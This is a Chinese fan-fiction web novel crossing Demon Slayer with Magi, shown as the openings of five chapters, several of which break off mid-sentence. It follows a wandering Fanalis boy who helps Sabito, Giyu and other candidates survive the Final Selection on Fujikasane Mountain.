《红诀[鬼灭]》 1. 少年与恶鬼 《红诀[鬼灭]》全本免费阅读 无尽延绵的黄色沙漠,热浪裹夹着沙砾,犹如沙龙在模糊边界徘徊。黄沙漫天,一片黄色之中,一座高耸的沙塔伫立其中,威严静默。 高耸的沙塔之下,一名红发少年身穿白衣,衣衫破烂,稚嫩的脸上布满鲜血。 看着眼前布满黄沙的大门,他抬手碰了碰,随后大力推开。金属大门应声而开,门内漆黑一片,伴随着金属的摩擦声,高处传来一声低语: “欢迎来到迷宫,做好试炼的准备了吗?攻略者。” 闻声,少年抬头看向高处,起皮的嘴唇开合,良久才有沙哑的声音传出: “迷宫,力量,奶奶的愿望……” 流浪已久的少年眼神里突然有了光彩,抬脚迈进了高塔的黑暗中。 在少年进门的一瞬,迷宫的大门随之关闭,淡淡光辉萦绕塔身,像是在昭示迷宫攻略正式开始。 黄沙漫漫,时间流逝,距离少年进入迷宫已然半月过去,许久未动的迷宫终于开始有了其他的动静。 一阵光芒笼罩,整个沙塔突然向下塌陷,一时地动,巨大的轰隆声响彻沙漠。 远在沙漠边缘的城镇居民遥遥向地动声处看去,高居城镇中心的领主一时惊诧,所有人都知道。 又有一处迷宫被攻略,新的迷宫霸主已然诞生。 沙漠深处的地动还在继续,与外表无异,迷宫的下陷稳而有序,但要是有其他的迷宫霸主现身,必然发现其中的不对劲,一阵奇异的魔力伴随着下陷在吞吃整个迷宫,新任的迷宫霸主也没有随着光芒现身在周围。 繁复的魔力光芒闪过,最终归为平静。迷宫凭空消失,连地陷的痕迹也被黄沙填平,像是这座迷宫从未伫立于此间。 **** 藤袭山,一座四周都被紫藤花环绕的丘陵,是鬼杀队进行最终选拨的地点。 历届鬼杀队员将活捉的鬼放置山上,以此来选拨新一届的鬼杀队员,山脚乃至半山腰的的紫藤花犹如天然的屏障,将以人类为食物的鬼围困其中。 鬼以人类为食,食人越多的鬼,实力越强;食人鬼惧怕太阳,厌恶紫藤花。要想真正消灭食人鬼,必须将其置于阳光底下,或者用专门的刀具,以猩猩绯矿石为钢材制造的武器砍断其脖子方可将其消灭。 是夜,在藤袭山上,新一届的最终选拨正在进行,沿着山阶向上,大批持刀的少年少女正有序进入遍布食人鬼的区域,迎来他们为期七日的选拨。 黑夜中,持刀的少年少女脸色凝重,警惕地走向没有紫藤花海的区域。 而在藤袭山的半山腰处,一名红发少年躺在紫藤花树下。朵朵紫藤花翩翩落下,不偏不倚落在少年的眼睛上。片刻,察觉眼皮上的瘙痒,少年悠悠转醒。 红发少年约莫十岁左右,体型消瘦,皮肤白皙,齐肩的红色卷发,与其同颜色的红色眼眸,眼型上挑,宛若天然的眼线。只是浑身狼狈,鲜血和沙砾混合粘在衣服上,看不出原本的衣服样式。 红发少年在花香中惊醒,起身困惑地看向四周。他记得自己本应该是在迷宫之中,少年晃了晃头,用力闭了下眼。 少年名叫红诀。 他想起来了,在顺利攻略迷宫后,他与魔神马尔巴士在交谈过程中突然遇到一股强大的魔力。那股魔力来势汹汹,连魔神都为之震惊,恍惚之间,迷宫下沉,他脚下不稳,在塌陷中意外撞到石块陷入昏迷,直到在树下醒来。 所以……迷宫攻略成功了吗? 魔神的力量在哪里? 马尔巴士? 红诀在心底呼唤魔神的名字,却只有空荡的回音,没有回应。 迷宫攻略失败了? 这里是哪里? 呆愣在原地良久,红诀开始环顾四周,发现四周的环境和自己先前所处的沙漠完全不同,即使现在是黑夜,但这里满眼都是梦幻的紫色,连绵的紫藤花树连成一片,宁静美好,是他从未看过的景色。 从他离开村子向西流浪以来,所见都只是单调的黄色。眼前的景色,就像是他躺在奶奶怀抱里,听奶奶所讲的桃花源一般。红诀沉迷地循着紫藤花树海向上走,他要去看花海的尽头,是不是如桃花源一样。 然而,沿着树海向上,走到尽头,拨开草丛,红诀所看见的不是村子,而是一个背对着他,躲躲藏藏的黑发少年。 身后的紫藤花海像是止步于此,往前不再是梦幻的紫色。夜色中茂密的树林间,黑影幢幢,平静又暗藏玄机。 在红诀的感知里,前方夹杂很多恶意和善意。战斗的本能开始被激活,少年浑身的气场发生变化,他眼光犀利地看向四周,腿部肌肉紧绷。 “哎,你……”突然的气场变化让前方躲藏的黑发少年回头,看到来人,黑发少年先是惊喜,后是疑惑,红发少年并没有携带鬼杀试炼队员的武士刀,看起来向误闯入的一般人,但气场却格外地让人惊悚。 犹如荒野上的野兽,冰冷无情又霸气骇人。 对此,黑发少年额上冷汗淋漓,不禁发问:“你是鬼还是人……?” “鬼?是什么?妖怪?”红诀不解,鬼是奶奶说的吃人的妖怪吗? 听到红诀的疑惑,黑发少年再次打量红诀,虽然浑身狼狈,身上还有血什么的,但好像没有像鬼的地方。 还从紫藤花海中走出来的,肯定是人。 肯定地下了判断,黑发少年开口解释道:“鬼就是吃人的……” 话音未落,眼前刚被判定为好人的红发少年,突然向他冲了过来,速度惊人,带着野兽般的气场,直面而来。 猜错了!?他是鬼!? 感受到死亡的威胁,黑发少年却动弹不得。就在他闭眼等死的瞬间,红诀的脚风从他头顶刮过,一声巨响,一个人型的物体被踢飞,强悍的脚力使物体接连撞断几棵树,最后滚落在地。 感受不到疼痛,黑发少年颤抖地睁开了眼睛,发现红诀已经走到一边,用脚踩着一个物体。后怕地摸了摸自己,黑发少年踌躇了一下,疑惑地上前,才发现红诀脚下的是一个鬼。 “鬼!” 黑发的鬼□□着上身,尖锐的指甲扒着少年的脚不断挣扎,注意到脚上的刺痛,红发少年伸手把鬼的双手扭在他鬼的胸前,一起压制。 黑发少年才明白,原来,红诀不是要杀他,而是要保护他。他刚刚只顾着红诀是人还是鬼,没有察觉一个鬼已经埋伏在他身后。此时这个鬼身形扭曲,腰部更是以一个骇人的角度折叠着,明显腰椎已经被踹断。 鬼在地上痛苦地翻滚着,想要逃出红诀的脚下。但压制他的红发少年脚力惊人,抵在他胸口像是一颗巨石,压根动弹不得。 红诀恍然:“这就是鬼?”这个名为鬼的东西身上的恶意非常大,已经让红诀灵敏的感应不断发生警告,想要反击的欲望愈发强烈。 “对!这就是鬼。吃人的鬼!”黑发少年斩钉截铁地说,“谢谢你救了我!要不是你,我可能已经被他扭断了脖子。” 听到少年的感谢,红诀弯了弯嘴角。 “不用客气。不过,他怎么没死?”红诀用手指了指脚下的鬼,按照他以往狩猎的经验,被踹断腰椎的猎物已经半死不活了。可脚下的这个鬼好像一点事都没有,腰部的伤也在逐渐 2. 少年与安全所 《红诀[鬼灭]》全本免费阅读 刚结识的两人,沼田鸣和红诀行走在黑夜的林间。 与之相隔不远处,也有两个结伴而行的少年,其中深蓝色头发的少年捂着额上的伤口,亦步亦趋地跟着前方肉色头发的少年。 “锖兔……”深蓝色头发的少年名叫富冈义勇,肉色头发的少年叫锖兔。 两人都是培育士鳞泷左近次的弟子,一起前来参与最终选拨。不过,这才第一夜,富冈义勇就因为鬼的袭击而受伤,额头的伤口不断淌血,在行动间不断阻碍视线。 “义勇,听我的,你现在不能行动了。你要靠现在看不清的视线去杀鬼吗?” 前方的锖兔大声说道,他话语中虽对同行的富冈义勇语气严厉,但却放慢脚步让后方的富冈义勇跟上。 “我知道……但我……”富冈义勇深知好友锖兔说得有道理,但他并不想成为锖兔的累赘,他也想战斗,被保护的感觉其实一点都不好。 “振作点!义勇。”深知好友有时候的脆弱,锖兔震声说道:“是男人就不能唯唯诺诺,果断作出决定!把你的伤养好才是你的第一任务。前面有我今天救了的其他人,你和他们呆着一起,他们会照顾你的。” 看着锖兔比自己强壮的背影,富冈义勇既羡慕又感到温暖。 有男子气概并把男子气概挂在口头的锖兔,能成为他的朋友真是太好了。 两人说话的间隙,锖兔却突然警惕起来,将负伤的富冈义勇护在身后,谨慎地看着前面发出声响的草丛。 草丛里不断传出声响,听着像人的说话声,但锖兔不敢放松警惕,也有可能是恶鬼在引诱剑士前去。 现在是黑夜,鬼只有在黑夜之中才会出来狩猎。 就在他们两人逐渐握紧刀柄时,那处草丛里冒出一个黑头,一名黑发少年扒开草丛,明显就是沼田鸣,他身后的红诀也穿过草丛,一黑一红,两人一同出现在锖兔和富冈义勇的面前。 “啊。” 没想到会遇到其他人,四人对视皆是一愣。 “你们好。”察觉到有些尴尬,沼田鸣率先开口,“原来是同期,我是沼田鸣。他是红诀。”一同被介绍的红诀也朝锖兔他们点了点头。 “我是锖兔。这是我的朋友富冈义勇。”锖兔也一并向红诀他们介绍,身后的富冈义勇也小声问好。 彼此做过自我介绍后,四人间的气氛又一次僵住,彼此都不是话多的人,在场的人中,能调动气氛的也只有率先开口的沼田鸣。沼田鸣脑里一转,突然发现位于锖兔背后的富冈义勇头上的伤口,怀里给红诀派不上用场的药突然有了用途。 没错,别看红诀一身狼狈,衣服上都是血,但却一点伤口都没有,脚上被鬼划伤的伤口也很小,不需要过多上药。 “你朋友是受伤了吗!?不介意的话我这里有些伤药,可以敷一下。”看到富冈义勇头上的鲜血,沼田鸣热情地从怀里掏出一瓶药,朝锖兔他们示意。 突然的热情拉近了四人之间的距离,爽朗的锖兔也大方地收下沼田鸣的好意,并邀请其一起去暂时的安全所。 “所以,锖兔你前半夜就杀了那么多鬼吗?好厉害!”听锖兔介绍安全所的由来,沼田鸣十分吃惊,才短短半个夜晚,眼前的少年居然救了很多人,被救的人聚在一块互相提供帮助,成为了现在暂时的安全所。 偷偷观察其他人的红诀也认可地点了点头,眼前的少年不仅实力强,也非常乐于助人,是个好人。 这两人给他的感觉就像沼田鸣一样,带着阳光的味道,和奶奶一样都是好人,好人要好好保护。 “哈哈哈,这些都是男子气概的体现,我还需要更努力!”面对夸奖,锖兔十分自然地接受了,爽朗地回道。 “突然有点羡慕了,你们这些有毅力的人。”沼田鸣默默吐槽说,“不像我,我今天还没有杀一个鬼呢,还被红诀救了,唉。” 听到沼田鸣说自己没杀一个鬼,富冈义勇不由得看了他一眼,小声地应了一句我也是。 耳尖的沼田鸣没有错过这一句,他亲切地揽过富冈义勇,说:“那我们就一起努力!” 而锖兔听到沼田鸣说起红诀,也不由得借着话询问起红诀,他的好奇心从见面的时候就开始蠢蠢欲动,毕竟红诀身上,有太多的疑点了,和沼田鸣不同,就非常不像个剑士。 “先前我就想问了,红诀身上的伤是怎么回事?” “不小心摔倒的。”红诀见提起自己,开口回道。 “你的日轮刀呢?” “没有。” “没有!?”锖兔和富冈义勇吃惊地说,来参加最终选拔的都是受到各地培育士的推荐,几乎人人都有一把日轮刀,不然没有手段杀鬼。红诀说他没有日轮刀,这是怎么一回事。 “红诀他啊,好像是误入这藤袭山的。”沼田替红诀解释道,“我跟他一碰面是在紫藤花海边缘。” “不过你别小瞧红诀,这家伙非常厉害,一下子就能把鬼的腰椎给踢断了。” “靠武力吗。嗯,是个男人。”锖兔多看了红诀两眼,认可地拍了拍他的肩膀,“以后有机会,我们比试一番。” 被夸得不好意思的红诀无措地摸了摸自己的头。从小,奶奶就告诉他,他是法那利斯,是暗黑大陆最强的战斗民族。所以每次周边有野兽还是盗贼,小小的红诀一个人就能把他们解决掉,那时候,奶奶也会摸着他的头夸奖他。 但自从奶奶去世,他开始流浪,得知他是法那利斯的人却无不带着算计和恶意,已经很久没有人这么真诚地夸奖他了。 四人谈话期间,也逐渐靠近安全所。 说是安全所,其实就是四五个人围在篝火旁,彼此分享食物和彼此警戒。红诀他们的走近声显然惊动了他们,听见声响,五个人都举起日轮刀互相警戒。只有看到是锖兔,才松了一口气。 锖兔带着红诀他们和那五个人会合,随后把富冈义勇托付给他们,希望他们能好好照顾好富冈义勇。 因为受到鬼的袭击,富冈义勇其实有点脑震荡,一路上一直强撑着,到了能歇息的地方,那股眩晕和想吐的欲望也控制不住了。 早就知道友人的情况不好,也知道富冈义勇在强撑,看着他能放心地坐下休息,锖兔也松了口气。 众人围坐在一旁,互相自我介绍,除却沼田鸣这个活跃气氛的,五人中的中岛也是个能接话头。而红诀,他几乎被食物的香味迷了眼,像是红色的小狮子,不停地游离于各个人的干粮之间,一副想吃又不好意思说的表情。 看着他这副样子,沼田鸣他们才想起这个误入的倒霉蛋,连日轮刀都没有,估计连干粮也没带。幸好大家都是练武的,食量比较大,准备的干粮量也足,才不让红诀饿肚子。 简短的温馨过后,锖兔也要再去出去狩猎恶鬼,而红诀和沼田鸣打算先暂时在安全 3. 少年与阴谋 《红诀[鬼灭]》全本免费阅读 一夜过去,迎来白日。 藤袭山上树木茂密,层层重叠的树荫遮住了强烈的太阳光,在地面形成一处处阴影。阴影之中,惧怕阳光的恶鬼们正在窃窃私语。 “这一届的小鬼有点强啊,已经有十几个鬼死了。” “你说的不会是那个肉色头发的小鬼吧?” “除了他还有!你没听昨天后半夜那些鬼的惨叫了吗?据说是个像野兽般的红发小鬼,他杀鬼就跟切菜一样,比鬼还像鬼!” “真的假的?” “这届这么难对付,你们说要不要去请那位……” “你不怕被吃吗!” “现在不一样!听说那位就只对有狐狸面具的小鬼有兴趣,刚好那个肉色头发的就戴着一个狐狸面具。” “还有个深蓝色头发的小鬼!” 在这个藤袭山,被活捉的恶鬼都经过挑选,一般只有吃过两三个人的鬼才会被放到藤袭山上,但凡事也有例外。虽然鬼都是被鬼杀队活捉进来的,但鬼杀队残酷的最终选拨也滋养了不少恶鬼。 这座藤袭山上,活得长一点的鬼都知道,还有一个浑身是手的恶鬼隐藏在阴影之中。与吃过两三个人那种弱小的鬼不同,这个手鬼可是活了几十年,吃过不下三十人和其他同类。 手鬼狡猾、诡计多端,瞒过了检查的鬼杀队员,在一次次最终选拨中壮大自身。据说他对带着狐狸面具的鬼杀小鬼情有独钟,如果每届有带着狐狸面具的小鬼,最终都会死于他的口中。 这样的存在,在小小的藤袭山,其余的恶鬼几乎不敢与他硬碰硬,因为不在最终选拔的期间,他们这些弱小的鬼就是手鬼的食物。 这届居然有两个戴着狐狸面具的小鬼,看来这位手鬼又要出来狩猎了,把消息透露给它,让手鬼解决那个肉色头发的小鬼,如果能顺手解决红发的更好,他们就能有食物来源了。 阴影之中,恶鬼的密谋正在悄然形成。 **** 另一边,围在一起的剑士正向锖兔大肆宣扬红诀在后半夜的壮举。沼田鸣和中岛更是声情并茂,将劳累一夜的锖兔说得一愣一愣的。 “红诀怎么厉害的吗?怎么听你们描述的,红诀像个野兽。”锖兔有些震惊和无语地看着沼田他们,毕竟他们的话夸张成分太大,听起来真的很假。 什么像豹子一般扑去,猛虎一般出击,力大无穷,恶鬼痛哭……这也太夸张了吧。 不过,附近骤然减少的恶鬼,以及中岛他们信誓旦旦的眼神,锖兔也不怀疑红诀的实力,只是内心更像与其进行比试的心思更蠢蠢欲动了。 “不夸张一点都不夸张!”沼田鸣话音坚定,转头神色温柔地看着和富冈义勇睡在一起的红诀,在确定锖兔回来后,白天也不会有恶鬼出现,红诀放松地让自己小歇一阵。 毕竟,算是攻略迷宫的半个月,他几乎没有好好地休息一下,怪物般的体质也需要回复。 红发少年闭目眼神,凌乱的发丝覆盖在脸上,随着轻微的呼吸发丝微动。 “沼田,你的眼神好恶心啊。”注意到沼田鸣的眼神,男子汉的锖兔难受地挤出这句话。 “哼,你才不懂。”一点都不害臊的沼田甚至还想给红诀擦擦脸,只是怕惊扰他休息才作罢。 “对了,义勇从昨晚现在都没醒吗?”关心起自家好友的锖兔有些担忧地问。 “安心,富冈并没有发烧,大概是后半夜没睡好,晚上应该会醒。” 回想起后半夜那个声响,沼田和中岛对视一样。 其实在那样的环境中,富冈还能继续睡,也是真的累了。 白天没有恶鬼,安全所的几人在简短的闲聊后,一行人在大太阳底下开始休整,刚补充体力的,该休息的,大家彼此靠在一起,为今晚的恶战补充能量。 毕竟,现在才是最终选拨的第二天,距离选拔结束还有五夜。 然而,到了第二夜,或是因为第一夜红诀和锖兔的凶名,安全所附近的恶鬼几乎没有。 藤袭山的鬼都知道这里是个危险的地方,都不往这里靠。守到后半夜,沼田他们看着东走走西走走的红诀,不由得开口道—— 沼田:“红诀,要不你和锖兔一样出去吧。” 中岛:“是啊,反正附近也没鬼,还有我们在,是安全的。” 沼田还轻松地说:“放心,你和锖兔一样杀很多鬼,鬼越少我们也越安全!” 其他人也附议,都是来参加最终选拔的,也不能一直躲在锖兔和红诀身后,想成为鬼杀队员,也要自己努力才行,何况经过第一夜,多亏了红诀,他们对鬼的恐惧程度也下降了很多,总是要迈出第一步,后续的路都是要自己来走才行。 “我们也要经过锻炼和磨练,说好一起努力的!” 沼田鸣看着还犹豫不决的红诀,一把把他劝走。 有了同伴们的保证,红诀一步三回头地往锖兔相反的方向跑去,腰间还悬挂着富冈义勇的日轮刀。 这是晚上短暂清醒的富冈义勇递给红诀的,经过休息,富冈义勇的状况好了很多,他也知道自己现在的状况杀不了鬼,就把日轮刀给了没有武器的红诀。 说是外出杀鬼,但红诀还是没离安全所太远,一直游离在附近,同时也杀了不少的鬼。 红色野兽和肉色恶魔的传说在夜晚又传遍了整个藤袭山,藤袭山恶鬼的数量,迎来又一次锐减。 第二夜结束,大家都有了不少的收获。 不谈锖兔和红诀的战绩,留守在安全所的几人也合力杀了两个鬼,由话很多的沼田和还在养伤的富冈收获。 待锖兔和红诀回来后,就听见沼田一行人的反省。 “怎么回事!怎么回事!” “居然还要让受伤,没有武器的富冈动手!”沼田鸣在“受伤”、“没有武器”几个字加重了语气。 挨训的众人垂着头,实在是很忏愧。昨天后半夜,在红诀走后,有两个想要捡漏的恶鬼闻着味来到了安全所。第一次真正杀鬼,安全所的五个人都有点畏手畏脚,招式也混乱不堪,毫无章法。 要不是人多,还差点翻车。回想起昨夜兵荒马乱的一切,众人都有些丧气,已经醒来的富冈义勇看着低沉的众人,有点无措地不知道怎么安慰。 “你们杀了鬼吗?很厉害!”红诀读不懂此刻的氛围,一贯真诚的为人让他衷心地为他的朋友们开心,朋友们成功地迈出了第一步,第一步就是重要的一步。 就像 4. 少年与伙伴 《红诀[鬼灭]》全本免费阅读 簌簌的风声中夹杂着沉重的呼吸声。 突然出现的红诀,与异形鬼对峙的锖兔,以及锖兔背后同样举刀的富冈义勇。 “一个两个,又来了一个。”小山一样的手鬼双眼通红,丑陋的绿色皮肤上,鲜红的指甲在蠕动的手间若隐若现。 “你也是鳞泷的弟子?”手鬼眼睛盯着突然出现的红诀,发现红诀身上并没有携带狐狸面具,又开口道:“没有,你没有狐狸面具,你不是鳞泷的弟子。” “红诀,你不要插手。”背对着红诀的锖兔声音压抑,语气中满是压抑的愤怒。后方的富冈义勇也是不复日常的温和腼腆,神情冷漠镇定。 “这是我们和他之间必须解决的事情。” 这几日已经见识过红诀身手的锖兔和富冈两人知道,红诀的加入能百分百将眼前的手鬼挫骨扬灰,但……他们更想亲自动手,解决这个杀害师兄师姐,侮辱他们老师的恶鬼。 听到锖兔愤怒的声音,手鬼闷笑:“当然,毕竟你们是鳞泷最疼爱的弟子。” 眼前的手鬼是几十年前,由锖兔和富冈义勇的老师鳞泷左近次亲手抓进藤袭山的。 几十年以来,对于抓他进牢笼的鳞泷左近次,手鬼可谓是恨之入骨。日复一日,年复一年,在多次最终选拔中,偶然发现佩戴着狐狸面具的剑士是由鳞泷左近次所一手培育的,手鬼的恨意就有了发泄的渠道。 他瞒过检查的鬼杀队员,潜伏在这藤袭山,就为了一个个亲口吃掉鳞泷左近次亲手培育的弟子。 今天,锖兔和富冈义勇就是他即将吃掉的第八、第九个。 鳞泷左近次灌注心血,亲手培育的每一个弟子,从几年前就被他亲手送进了手鬼的口中。 要是知道这件事,鳞泷左近次该有多痛苦。多年来,他为他未能通过最终选拔的弟子们感到悲痛,悼念。却没想过,弟子没通过最终选拔的原因,竟然是他多年前亲手抓捕的恶鬼。 眼前的恶鬼已经不满足最终选拔的标准,他不该出现在这里的。 他也不该在锖兔和富冈义勇面前侮辱他们的师兄师姐,以及他们最敬爱的老师鳞泷左近次。 然而这一切,刚刚赶来的红诀都不知道。 红诀不清楚这其中的纠葛和过往,眼前的手鬼虽然比藤袭山其他的恶鬼强大,但仍是可以对付的程度,并不棘手。他也相信,锖兔和富冈义勇能打败他,但前提是—— 他们不能被愤怒支配。 从他到此地的那一秒,那个手鬼就一直用让红诀不适的语气说话,带着他讨厌的恶意,像阴沟里的臭虫一样,拨动红诀的神经和情绪。 在红诀流浪的日子里,像手鬼一样用恶心的话语调动人们情绪的手段其实并不少见。小巷中为抢夺地盘,挑起愤怒的情绪引导血拼,或者是在他奶奶去世后,引导他去袭击村民,想让其入狱沦为奴隶的…… 被情绪支配的痛苦,他尝过,也十分警惕。 而现在,锖兔和富冈义勇两人显然已经落入这样的陷阱之中,变得盲目忽略细节。 看着眼前对峙的两方,红诀开口:“锖兔,富冈,这家伙在激怒你们。” 少年清脆的声音像是寺庙里的钟响,给予人醍醐灌顶的清醒。 红诀一番话,打了前方两人一鬼一个猝不及防。手鬼惊诧于眼前这个红发小鬼的敏锐,锖兔二人则是发现自身的不对劲,显然,在愤怒的调动下,他们的心已经开始乱了。 没错,不能被手鬼钻了空子,想要为师兄师姐们报仇,不应是被愤怒所支配,而是由自己的理智来支配。 了解其中的关窍,锖兔和富冈义勇也冷静下来。紧绷的双臂松弛,持刀的姿势也从僵硬到自然,呼吸恢复到以往的节奏,脑袋也恢复清明。 “谢谢你,红诀。” 重振精神的锖兔和富冈义勇更为坚定地面对手鬼。而发现自己的心思被揭破,惯用的技俩失了效果,手鬼也不再嘻嘻笑笑,用恶心的轻佻语气,他发现事情变得有些棘手起来了。 看着锖兔和富冈义勇已经恢复理智,红诀也放心地把战场交给他们二人,从刚刚开始一直低鸣的感知也恢复了原样。 没他什么事了。 红诀也干脆利落地转身离开,他选择回到安全所,等待锖兔和富冈义勇他们的好消息。 红发少年眨眼间便消失在树林中,属于锖兔和富冈义勇的战斗也一触即发。但战斗的动静已经和红诀无关了,刚离开手鬼那里不久,红诀就遇到了气喘吁吁,总算追上红诀的沼田鸣。 逮到机会询问异常的沼田几乎迫不及待地发问:“红诀!总算找到你了!发生什么事了吗?” “呃。”不擅长表达的红诀有点不知道怎么说,他结结巴巴地道:“锖兔和富冈,在和一个小山一样的手鬼战斗。” “小山一样的手鬼!体型这么大,那不是很强,我们得去协助他们!” 听到红诀描述的沼田鸣有些着急,拉着红诀就想往那边过去。 “锖兔说,不能插手,那是他们之间的事情。”重复锖兔说的话,红诀拦着了沼田鸣。 沼田不解:“不能插手?什么原因?” 红诀摇头,他也不知道是什么原因,不过锖兔让他走,同时他们也打得过手鬼,他就放心地走了。 看着红诀懵懂的样子,沼田引导地问:“红诀你觉得锖兔面对他们没什么问题?” “嗯。” 这个问题红诀可以回答,那个手鬼不强,恢复理智的锖兔他们人多,也很强,打得过。 “行,那我们回去。”得到红诀肯定的回答,沼田也放下心来,他相信红诀和锖兔的判断。不过没想到这藤袭山还有这样的鬼。好奇的沼田还想拉着红诀询问细节,就看见红诀突然想到了什么,加快了回安全所的脚步。 “又发生了什么!”被带着跑的沼田又是满脑袋疑问,但前方赶路的红诀也只是回了几个字—— “可能,有埋伏。” 埋伏!?什么意思!? 奔跑中的沼田终于忍不住探究欲,一点点从红诀口中所透露的细节和想法中明白了他的意思。 那个手鬼很强大,这么强大的鬼,为什么在前几日没有动静?手鬼和锖兔、富冈义勇之间有很大的恩怨,他对他们两人手里的狐狸面具非常关注,也就是说,手鬼是特意来寻找拥有狐狸面具的锖兔和富冈义勇两人。 鬼曾经也是人。其智慧和劣性不亚于人类。 这几天,剑士们的动静这么大,躲藏的鬼也开始增多,但偷袭的鬼也不少。 要是他们是故意引诱手鬼去解决剑士里最强的锖兔和红诀,那剩下的人就是他们的囊中之物,没有威胁。如果这就是他们的计谋,锖兔已经被缠住,红诀也被引诱过去。 那么,现在最危险的地方—— 其实是有伤员和大量剑士的安全所。 明白这一点的红诀和沼田开始心急起来,虽然这几日,藤袭山的鬼已经被消灭得差不多了,但不能保证没藏着像手鬼那样的恶鬼。 红诀的速度越来越快,后面追着的沼田费了老劲,甚至用上了全集中呼吸,才勉强跟上。 两侧的树飞快在红诀的眼前划过,黑夜之中,远处篝火的亮光越来越近,随之而来的,是刀剑声和人的喊叫声。 情况不对,红诀进一步加快了脚步,越过遮挡视线的树林,映入眼帘的,是数只恶鬼围在篝火旁,守夜的剑士举刀与其搏斗,牢牢将受伤的剑士护在身后。 就在其中一个剑士即将要被围攻的恶鬼撕碎胳膊的时候,红发少年一个横扫,即将得手的恶鬼横飞出去,彭的一声,撞倒在树下。 “红诀!” 看到红发少年出现的一刻,被围困的剑士士气大振,出刀也更为果断。 而红诀的速度更快,他伸手扯过袭向受伤剑士的一只恶鬼,一击膝踢,恶鬼的内脏破碎,呕出血块。 暴力的行径使在场的恶鬼心头一颤,纷纷丧失斗志。 “红色野兽!该死!手鬼没有杀掉他吗!” 不等他们懊悔,红诀身影极快地穿梭在鬼与剑士之间。伴随着巨大的打击声和清晰的骨骼断裂声,不一会,围攻的恶鬼都被清 5. 少年与新征程 《红诀[鬼灭]》全本免费阅读 藤袭山的半山腰处,红色的鸟居沿着山阶而上,一大群少年剑士聚集在此地,等待最终结果的宣布。 站在少年剑士正前方的,是两位身处和服的黑发少女,少女头上佩戴着紫藤花的花饰,一模一样的发型和衣服样式,简直就像是双生子。 一声铃响,前方的和服少女缓缓开口—— “恭喜各位,安全地返回到这里。” “全员幸存,是个了不起的结果。” 少女的声音平静而无机质,但说到全员幸存,还是鼓起掌来。 而少年剑士们,听到全员幸存的结果,都下意识看向了站在最前方的锖兔、红诀几人,一共七人,他们围聚在一起,中间的红诀更是左右各撑着有些体力不支的锖兔和富冈义勇,脸色轻松如常。 他们心里都清楚,要不是那几个人,他们早就死在恶鬼的口中了。 前方的少女仍在继续:“鬼杀队对于顺利通过选拔的队员,会依次为你们准备队服、刀具以及方便联系的鎹鸦。” 话音刚落,奋战七日的少年少女们不禁发出欢呼声,交谈和期待让现场变得热闹起来。 在欢呼声中,少女一一为剑士们介绍放在一旁的东西。每一位通过最终选拔的队员都能获得量身定制的队服,以及亲手挑选的钢材。 但由于这一届全员幸存的结果属实罕见,工作量庞大,少女们也只能先让隐部队的队员先为其量队服尺寸,再去准备更多的钢材进行挑选。 隐部队是属于鬼杀队的后勤部队,负责情报打探、处理痕迹以及医疗物资等后勤工作,是鬼杀队正常运转必不可少的一部分,大多数是由向往鬼杀队却无杀鬼天赋的成员组成,也不乏在其他方面拥有异于常人的成员存在。 一时间,半山腰的空间变得拥挤起来,大批头戴黑白条纹面罩的隐队员开始为通过的剑士量尺寸。不习惯被人触碰身体的红诀更是缩手缩脚,东躲西躲。 “别动!”又一次衡量腰部尺寸失败,性子急的隐一下狠狠拍向红诀的肩膀。听到斥责,红诀下意识站得笔直,绷着脸让隐比量。 一旁的仁田看到红诀皱成一团的脸,取笑道:“哈哈哈,红诀你就放松点,量尺寸很快的!” 隐的动作确实很快,在红诀的配合下,快速地将红诀的尺寸记下。考量到各个剑士的习惯不同,负责红诀的隐开口询问红诀有什么要求。 标准的鬼杀队服大致和隐所穿的没有什么不同,黑色排扣上衣,以及黑色的长裤。考虑到当地的穿戴习惯,裤子下方会裁剪方便剑士们绑腿。女性剑士有裙子和裤子两种选择,对队服有修改的意见也可以提,鬼杀队并不会要求所有人穿戴得一模一样。 在这里没有家也没有经济来源的红诀下意识看向各式各样的隐队员,思考片刻,他提出自己想要像女队员那样的靴子,不想要绑腿。 以往的穿衣习惯,他更习惯于靴子那样的款式,或者是光脚。 听到红诀的要求,负责的隐抬头看了他一眼,嗯,长得很帅气。默默将红诀的要求记在本子里,隐又开始询问红诀的地址,方便后续和锻好的日轮刀一起送到红诀手中。 这一问题让红诀直接噎住。 家,他没有家。 他不知道他现在在哪里,这里明显与他先前待的地方不一样。迷宫的附近是沙漠城镇,穿着和习俗明显和这里不一样。至于家,他的家从奶奶去世后就没有了,流浪至今,他也没有固定的落脚点。 “没有家。”关于地址红诀说不出来,因为实在是没有。 “没有家嘛……”记录的隐笔下一顿,随后若无其事略过这个问题,“培育士的地址也行。” 鬼杀队内被恶鬼屠尽亲人的剑士也不在少数,复仇心切而加入鬼杀队的缘由也非常常见,这类人大多都寄宿在培育士的家中,在训练的同时一边准备最终选拔。 “也没有培育士……” 面对隐的提问,红诀也无法回答,他有点后知后觉,他现在好像是个黑户,虽然以前也不在意就是了,但这里应该,应该不会因为他是个黑户不让他加入鬼杀队吧…… 想到这里,红诀突然有点忐忑了,脏兮兮的脸扭成一团,眼神游弋地看向四周的伙伴。 “没有培育士!?那你是怎么参加最终选拔的?” 隐满头问号,这小子是怎么回事?手中的笔再三比划,一时不知道该写些什么。 就在两人僵持的时候,离得近的锖兔注意到红诀的情况,效率极高的他眨眼就完成了衣服尺寸的裁量,见状他凑了过来,偏头看向负责红诀的隐,询问发生了什么事。 “没有地址,他很烦恼。”红诀嘴里蹦出几个字,有点慌乱地看向锖兔,“锖兔,我没有地址,还能加入鬼杀队吗?” “笨蛋!当然能!”锖兔和隐异口同声地说,没有地址最多是没有法子送队服和日轮刀而已,约个地方也可以,又不是触犯什么禁令。 那太好了,黑户也能加入鬼杀队。得知能加入鬼杀队,红诀也放下心来。 锖兔是知道红诀的情况的,在相处的几天里,大家也没少聊天,一些基本情况也都了解,比如红诀一直在流浪,沼田意外是个有钱人家的子弟,以及仁田家有很多弟弟妹妹等等…… “登记这个地址吧。”锖兔让隐将红诀的地址登记为鳞泷左近次所居住的地方,和他和义勇的一样。后面邀请红诀一起回狭雾山就行,老师也一定很高兴的,他和义勇都顺利地通过最终选拔了。想到这,锖兔又想起和义勇一起消灭的那个手鬼,下意识触碰腰间的狐狸面具。 狐狸面具,其实是鳞泷左近次给弟子们所做的消灾面具,寄托着他希望弟子们平安归来的期望。对于手鬼的事,他和义勇再三考虑下还是决定事后告诉鳞泷左近次,他们相信鳞泷左近次有知情的权利。 